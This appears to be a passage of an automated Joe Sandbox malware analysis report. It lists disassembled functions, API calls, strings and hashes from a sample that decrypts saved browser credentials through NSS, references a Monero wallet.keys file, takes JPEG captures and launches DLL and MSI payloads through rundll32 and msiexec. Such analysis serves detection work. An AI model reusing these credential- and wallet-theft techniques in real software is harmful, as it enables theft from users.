fileioall, xrefs: 6C69CCA8
fileio, xrefs: 6C69CC92
seqstyle, xrefs: 6C69CCE6
samplingallthreads, xrefs: 6C69CE2C
audiocallbacktracing, xrefs: 6C69CDD4
cpuallthreads, xrefs: 6C69CE16

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

WRusr.dll, xrefs: 6C6644B5
user32.dll, xrefs: 6C664557, 6C66463F
Gml, xrefs: 6C6644FC
kernel32.dll, xrefs: 6C6644CD
NativeNtBlockSet_Write, xrefs: 6C6646F7
l, xrefs: 6C664578

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 005EC990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 005EC9A5

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0140F5F8,00000000,?,0060144C,00000000,?,?), ref: 005ECA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005ECA89
GetFileSize.KERNEL32(00000000,00000000), ref: 005ECA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 005ECAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 005ECAD9
StrStrA.SHLWAPI(?,0140F6D0,00600B52), ref: 005ECAF7
StrStrA.SHLWAPI(00000000,0140F6B8), ref: 005ECB1E
StrStrA.SHLWAPI(?,0140FBC0,00000000,?,00601458,00000000,?,00000000,00000000,?,014091E0,00000000,?,00601454,00000000,?), ref: 005ECCA2
StrStrA.SHLWAPI(00000000,0140FBE0), ref: 005ECCB9

Part of subcall function 005EC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 005EC871
Part of subcall function 005EC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 005EC87C
Part of subcall function 005EC820: PK11_GetInternalKeySlot.NSS3 ref: 005EC88A
Part of subcall function 005EC820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 005EC8A5
Part of subcall function 005EC820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 005EC8EB
Part of subcall function 005EC820: PK11_FreeSlot.NSS3(?), ref: 005EC961

StrStrA.SHLWAPI(?,0140FBE0,00000000,?,0060145C,00000000,?,00000000,014091F0), ref: 005ECD5A
StrStrA.SHLWAPI(00000000,01408FC0), ref: 005ECD71

Part of subcall function 005EC820: lstrcat.KERNEL32(?,00600B46), ref: 005EC943
Part of subcall function 005EC820: lstrcat.KERNEL32(?,00600B47), ref: 005EC957
Part of subcall function 005EC820: lstrcat.KERNEL32(?,00600B4E), ref: 005EC978

lstrlen.KERNEL32(00000000), ref: 005ECE44
CloseHandle.KERNEL32(00000000), ref: 005ECE9C
NSS_Shutdown.NSS3 ref: 005ECEAA

Strings

, xrefs: 005EC9C6

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 49d022a26c323b3cadce8e5b8f8378f5026c9a4d610a88f0c7ade69232f734e9
Instruction ID: 5ea04d7f512e8a631aac8d813de259a44398233807d86fec63619708b07c56be
Opcode Fuzzy Hash: 49d022a26c323b3cadce8e5b8f8378f5026c9a4d610a88f0c7ade69232f734e9
Instruction Fuzzy Hash: 24E104B180010DABDB18EBA0DC95FFE7B78BF54340F408169F20A67195DF746A4ACB66

Function 005F9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 005F906C

Strings

image/jpeg, xrefs: 005F9136

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: b50cd2ee7370cd360ed45973ccd01e1e6ff45b157bc0df7b7775203c5a83512d
Instruction ID: c07430c9261cc9b0ee54fa8931a8a47b2a663f37802cd39fa1d08982690ef35f
Opcode Fuzzy Hash: b50cd2ee7370cd360ed45973ccd01e1e6ff45b157bc0df7b7775203c5a83512d
Instruction Fuzzy Hash: 7571F075910209AFDB18DFE4DC89FEEBBB9BF48700F108518F655A7290DB34A905CB61

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 005F17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 005F17C5
ExitProcess.KERNEL32 ref: 005F17D1

Strings

block, xrefs: 005F17B7

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 328de571035440a53339d07c1d3a42594ddec33991141b829c4a31ea692faff9
Instruction ID: 67fafef0fb377d536873961653fb613df54b754382d945ab3d9782eb3f5dbdaa
Opcode Fuzzy Hash: 328de571035440a53339d07c1d3a42594ddec33991141b829c4a31ea692faff9
Instruction Fuzzy Hash: 045198B4A0420EEFDB04DFA0DA94BBE7BB6BF44704F108458E60667380D7B8D951DB66

Function 005F2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

ShellExecuteEx.SHELL32(0000003C), ref: 005F31C5
ShellExecuteEx.SHELL32(0000003C), ref: 005F335D
ShellExecuteEx.SHELL32(0000003C), ref: 005F34EA

Strings

<, xrefs: 005F3490
.dll, xrefs: 005F31E5
/i ", xrefs: 005F33E4
C:\Windows\system32\rundll32.exe, xrefs: 005F3332
"" , xrefs: 005F309A
C:\Windows\system32\msiexec.exe, xrefs: 005F34BF
/passive, xrefs: 005F345B
.msi, xrefs: 005F3398

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: eefa49725d651edb36cc77262d8ff264b8a82a3f2b9c64d99b1d6545f2208eae
Instruction ID: 9dbc6d22e37d93d5588ae2c788cc2cdb729196b8569031053a9826d86bc7970b
Opcode Fuzzy Hash: eefa49725d651edb36cc77262d8ff264b8a82a3f2b9c64d99b1d6545f2208eae
Instruction Fuzzy Hash: D31212B180010E9ADB19EB90CD56FFE7B78BF94340F504159E60A66095EF782B4ACF53

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

(null), xrefs: 6C67C596
0, xrefs: 6C67D30A

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
